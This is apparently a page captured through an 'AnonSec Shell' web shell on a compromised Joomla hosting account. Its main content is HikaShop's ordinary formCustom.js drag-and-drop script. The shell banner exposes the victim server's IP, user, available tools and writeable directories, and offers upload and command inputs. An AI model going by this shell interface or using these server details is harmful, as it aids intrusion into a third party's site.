AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/montpellier/media/com_hikashop/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/montpellier/media/com_hikashop/js/formCustom.js
/**
 * @package    HikaShop for Joomla!
 * @version    6.1.0
 * @author     hikashop.com
 * @copyright  (C) 2010-2025 HIKARI SOFTWARE. All rights reserved.
 * @license    GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
(function() {
var formCustom = {
	defaultOptions: {
		mainArea: '#hikashop_product_backend_page_edition .hk-container-fluid',
		type: 'product',
		handle: '.hikashop_product_part_title',
		namePrefix: 'hikashop_product_edit_',
		elements: '.hikashop_product_block:not(.hikashop_product_new_block)',
		fieldsElements: '.hika_options',
		labels: 'dd',
		labelPrefix: 'hikashop_product_',
		fields: true,
		blocks: true,
		skipEmpty: false,
		index: 0,
		customize: 1,
		hide: 1,
		template: '<div class="hkc-xl-4 hkc-lg-6 hikashop_product_block hikashop_product_edit_{NAMEKEY}"><div><div class="hikashop_product_part_title hikashop_product_edit_{NAMEKEY}_title"><span class="hikashop_tile_title">{TITLE}</span><a href="#" onclick="window.formCustom.removeBlock(\'{NAMEKEY}\',{KEY}); return false;" title="Remove block" class="hikabtn hikabtn-danger btn-small block-remove-btn" style="display:inline;"><i class="fa fa-trash"></i></a></div><dl class="hika_options"></dl></div></div>',
	},
	options: [],
	initDragAndDrop: function(options) {
		for (var key in this.defaultOptions) {
			if (!options.hasOwnProperty(key)) {
				options[key] = this.defaultOptions[key];
			}
		}
		this.options.push(options);
		options.index = this.options.length - 1;

		if(options.fields) {
			if(options.customize) {
				var settings = document.querySelectorAll(options.mainArea+' '+options.fieldsElements);
				for(var i=0; i < settings.length; i++) {
					new Sortable(settings[i], {
						group: options.type+'_fields',
						filter: options.labels,
						animation: 150,
						preventOnFilter: false,
						emptyInsertThreshold: 20,
						// Element dragging started
						onChoose: function (/**Event*/evt) {
							evt.oldIndex;  // element index within parent
							var active_parent = document.querySelector('.hikashop_customize_area');
							active_parent.classList.add('hikashop_customize_area_options');
						},
						// Element is unchosen
						onUnchoose: function(/**Event*/evt) {
							// same properties as onEnd
							var active_parent = document.querySelector('.hikashop_customize_area');
							active_parent.classList.remove('hikashop_customize_area_options');
						},
						onEnd: function (evt) {
							// Remove class parent :

							if(evt.item.nodeName == 'DT') {
								var corresponding = document.querySelector(options.mainArea+' '+'dd.'+evt.item.classList);
								if(evt.item.nextSibling && evt.item.nextSibling.nodeName == 'DD') {
									evt.item.parentNode.insertBefore(evt.item.nextSibling, evt.item);
								}
								evt.item.parentNode.insertBefore(corresponding, evt.item.nextSibling);
							}
							window.formCustom.setFieldsOrder(options);
						},
					});
				}
			}
			// reorder the fields and create extra blocks on page load
			this.sortFields(options);

			// refresh the input with the structure, just in case
			if(options.customize) {
				this.setFieldsOrder(options);
			}
		}

		if(options.blocks) {
			if(options.customize) {
				var list = document.querySelector(options.mainArea);
				new Sortable(list, {
					group: options.type+'_shared',
					animation: 150,
					handle: options.handle,
					forceAutoScrollFallback: true,
					forceFallback : true,
					// Element dragging started
					onChoose: function (/**Event*/evt) {
						evt.oldIndex;  // element index within parent
						var active_parent = document.querySelector('.hikashop_customize_area');
						active_parent.classList.add('hikashop_customize_area_blocks');
					},
					// Element is unchosen
					onUnchoose: function(/**Event*/evt) {
						// same properties as onEnd
						var active_parent = document.querySelector('.hikashop_customize_area');
						active_parent.classList.remove('hikashop_customize_area_blocks');
					},
					onEnd: function (evt) {
						window.formCustom.setBlocksOrder(options);
					},
				});
			}

			// sort the blocks on page load
			this.initBlocks(options);
		}
		return options.index;
	},
	setFieldsOrder: function(options) {
		var areas = document.querySelectorAll(options.mainArea+' '+options.elements);
		var structure = [];
		for (var i = 0; i < areas.length; i++) {
			var classList = areas[i].className.split(/\s+/);

			var block = {name : '', title : '', hide : 0, fields: []};
			for (var j = 0; j < classList.length; j++) {
				if(classList[j].startsWith(options.namePrefix)) {
					block.name = classList[j].substring(options.namePrefix.length);
				}

				if(classList[j] == 'hikashop_hide_block') {
					block.hide = 1;
				}
			}
			if(block.name == '')
				continue;

			var titleEl = areas[i].querySelector(options.handle);
			if(titleEl)
				block.title = titleEl.textContent;

			var labels = areas[i].querySelectorAll(options.fieldsElements+' '+options.labels);
			for (var j = 0; j < labels.length; j++) {
				var field = '';
				var classList = labels[j].className.split(/\s+/);
				for (var k = 0; k < classList.length; k++) {
					if(classList[k].startsWith(options.labelPrefix)) {
						field = classList[k].substring(options.labelPrefix.length);
						break;
					}
				}
				if(field == '')
					continue;
				block.fields.push(field);
			}
			structure.push(block);
		}
		document.getElementById(options.type+'_areas_fields').value =  JSON.stringify(structure);
	},
	sortFields: function(options) {
		var structureInput = document.getElementById(options.type+'_areas_fields');
		if(!structureInput || structureInput.value == '')
			return;
		var resetBtn = document.querySelector('.reset_block_button');
		if(resetBtn)
			resetBtn.style.display = 'block';

		var structure = null;
		try {
			structure = JSON.parse(structureInput.value);
		} catch(e) {
			console.err(e);
			return;
		}
		var areas = document.querySelectorAll(options.mainArea+' '+options.elements);
		var mainArea = document.querySelector(options.mainArea);
		// loop on the areas in the structure
		for (var i = 0; i < structure.length; i++) {
			var areaData = structure[i];
			var area = null;
			// search the matching area in the DOM
			for (var j = 0; j < areas.length; j++) {
				var classList = areas[j].className.split(/\s+/);
				var name = '';
				for (var k = 0; k < classList.length; k++) {
					if(classList[k].startsWith(options.namePrefix)) {
						name = classList[k].substring(options.namePrefix.length);
						break;
					}
				}
				if(name == '')
					continue;
				if(name == areaData.name) {
					// match
					area = areas[j];
					break;
				}
			}
			if(!area) {
				// create a new area in the DOM
				area = this.addBlock(options, areaData, mainArea);
			}

			if(!area) {
				continue;
			}

			if(areaData.hide && options.hide) {
				this.toggleBlock(areaData.name, options.index, false);
			}

			var optionsList = area.querySelector(options.fieldsElements);

			// reorder the fields in the area
			var found = 0;
			for(var j = 0; j < areaData.fields.length; j++) {
				var field = areaData.fields[j];
				els = mainArea.querySelectorAll(options.fieldsElements+' .'+options.labelPrefix+field);
				if(els && els.length) {
					found += els.length;
					for(var k = 0; k < els.length; k++) {
						if(els[k].parentNode.style.display == 'none') {
							optionsList.appendChild(els[k].parentNode);
						} else {
							optionsList.appendChild(els[k]);
						}
					}
				}
			}
			if(areaData.fields.length > 0 && found == 0 && options.skipEmpty) {
				this.removeBlock(areaData.name, options.index);
			}

		}
	},
	reset: function(key) {
		if(!this.options[key]) {
			console.log('options key '+ key + ' is invalid. Please check your new block HTML');
			return;
		}
		var input = document.getElementById(this.options[key].type+'_reset_custom');
		input.value = 1;
		input.form.querySelector('input[name="task"]').value = 'apply';
		input.form.submit();
	},
	removeBlock: function(name, key) {
		if(!this.options[key]) {
			console.log('options key '+ key + ' is invalid. Please check your new block HTML');
			return;
		}

		var block = document.querySelector(this.options[key].mainArea+' '+this.options[key].elements+'.'+this.options[key].namePrefix+name);
		if(!block) {
			console.log('Could not find block with name '+name);
			return;
		}
		block.remove();
		/*
		var fields = block.querySelectorAll(this.options[key].fieldsElements);
		var blocks = document.querySelectorAll(this.options[key].mainArea+' '+this.options[key].elements+ ' '+this.options[key].fieldsElements);
		for (var i = 0; i < fields.length; i++) {
			while(fields[i].children.length) {
				blocks[blocks.length-1].appendChild(fields[i].children[0]);
			}
		}
		*/
		this.setFieldsOrder(this.options[key]);
	},
	addNewBlock: function(inputId, key) {
		var input = document.getElementById(inputId);
		if(!input) {
			console.log(inputId + ' not found. Please check your new block HTML');
			return;
		}
		if(input.value == '') {
			alert('Please enter a title first');
			return;
		}
		var name = input.value.replace(/[\u0250-\ue007]/g, '').replace(/ /g, '_');
		if(name == '') {
			alert('Please use latin letters');
			return;
		}

		if(!this.options[key]) {
			console.log('options key '+ key + ' is invalid. Please check your new block HTML');
			return;
		}

		var elementsOrder = document.getElementById(this.options[key].type+'_areas_order').value.split(',');
		if(elementsOrder.length && elementsOrder.includes(name)) {
			alert('The title ' + input.value + ' cannot be used. Please enter another one');
			return;
		}

		var parent = document.querySelector(this.options[key].mainArea);

		var data = {title : input.value, name : name};

		var block = this.addBlock(this.options[key], data, parent);

		this.addHideBtn(block, name, this.options[key]);

		input.value = '';
	},
	addBlock: function(options, data, parent) {
		var dv = document.createElement("div");
		var html = options.template.replace(/{TITLE}/g, data.title).replace(/{NAMEKEY}/g, data.name).replace(/{KEY}/g, options.index);
		if(!options.customize || !options.hide) {
			html.replace(/display:inline;/g, 'display:none;');
		}
		dv.innerHTML = html;
		var block = dv.childNodes[0];
		parent.appendChild(block);
		var area = block.querySelector(options.fieldsElements);

		// make its fields area drag&drop
		if(options.customize) {
			new Sortable(area, {
				group: options.type+'_fields',
				filter: options.labels,
				animation: 150,
				preventOnFilter: false,
				emptyInsertThreshold: 20,
				onEnd: function (evt) {
					if(evt.item.nodeName == 'DT') {
						var corresponding = document.querySelector(options.mainArea+' '+'dd.'+evt.item.classList);
						if(evt.item.nextSibling && evt.item.nextSibling.nodeName == 'DD') {
							evt.item.parentNode.insertBefore(evt.item.nextSibling, evt.item);
						}
						evt.item.parentNode.insertBefore(corresponding, evt.item.nextSibling);
					}
					window.formCustom.setFieldsOrder(options);
				},
			});
		}
		return block;
	},
	initBlocks: function(options) {
		if(!this.sortBlocks(options)) {
			this.setBlocksOrder(options);
		}
	},
	setBlocksOrder: function(options) {
		var newElements = document.querySelectorAll(options.mainArea+' '+options.elements);
		var elementsOrder = [];
		for (var i = 0; i < newElements.length; i++) {
			var classList = newElements[i].className.split(/\s+/);
			var name = '';
			for (var j = 0; j < classList.length; j++) {
				if(classList[j].startsWith(options.namePrefix)) {
					name = classList[j].substring(options.namePrefix.length);
					break;
				}
			}
			if(name == '' || elementsOrder.includes(name))
				continue;
			elementsOrder.push(name);
		}
		document.getElementById(options.type+'_areas_order').value =  elementsOrder.join(',');
	},
	toggleBlock: function (name, key, save) {
		if(!this.options[key]) {
			console.log('options key '+ key + ' is invalid. Please check your new block HTML');
			return;
		}

		var block = document.querySelector(this.options[key].mainArea+' '+this.options[key].elements+'.'+this.options[key].namePrefix+name);
		if(!block) {
			console.log('Could not find block with name '+name);
			return;
		}

		if(block.classList.contains('hikashop_hide_block')) {
			block.classList.remove('hikashop_hide_block');
			if(this.options[key].customize)
				block.classList.remove('hikashop_customize_block');
		} else {
			block.classList.add('hikashop_hide_block');
			if(this.options[key].customize)
				block.classList.add('hikashop_customize_block');
		}

		if(save)
			this.setFieldsOrder(this.options[key]);
	},
	sortBlocks: function(options) {
		var elementsOrder = document.getElementById(options.type+'_areas_order').value.split(',');
		if(elementsOrder.length <=1)
			return false;

		var j = 0;
		for (var i = 0; i < elementsOrder.length; i++) {
			var src = document.querySelector(options.mainArea+' '+options.elements+'[data-id="' + elementsOrder[i]+'"]');
			if(!src) {
				var src = document.querySelector(options.mainArea+' '+options.elements+'.'+ options.namePrefix + elementsOrder[i]);
				if(!src)
					continue;
			}

			this.addHideBtn(src, elementsOrder[i], options);
			var newElements = document.querySelectorAll(options.mainArea+' '+options.elements);
			if(!newElements[j])
				j--;
			this.swapNodes(src, newElements[j]);
			j++;
		}
		return true;
	},
	addHideBtn: function (src, name, options) {
		if(options.customize && options.hide && !src.querySelector('.block-hide-btn')) {
			var div  = src.querySelector('.hikashop_product_part_title');
			if(div)
				div.innerHTML = div.innerHTML + ' <a href="#" onclick="window.formCustom.toggleBlock(\''+name+'\','+options.index+', true); return false;" title="Toggle block" class="hikabtn hikabtn-primary btn-small block-hide-btn" style="display:inline;"><i class="fa fa-eye"></i></a>';
		}
	},
	swapNodes: function(n1, n2) {
		var p1 = n1.parentNode;
		var p2 = n2.parentNode;
		var i1, i2;

		if ( !p1 || !p2 || p1.isEqualNode(n2) || p2.isEqualNode(n1) ) return;

		for (var i = 0; i < p1.children.length; i++) {
			if (p1.children[i].isEqualNode(n1)) {
				i1 = i;
			}
		}
		for (var i = 0; i < p2.children.length; i++) {
			if (p2.children[i].isEqualNode(n2)) {
				i2 = i;
			}
		}

		if ( p1.isEqualNode(p2) && i1 < i2 ) {
			i2++;
		}
		p1.insertBefore(n2, p1.children[i1]);
		p2.insertBefore(n1, p2.children[i2]);
	}
};

window.formCustom = formCustom;

})();

Anon7 - 2022
AnonSec Team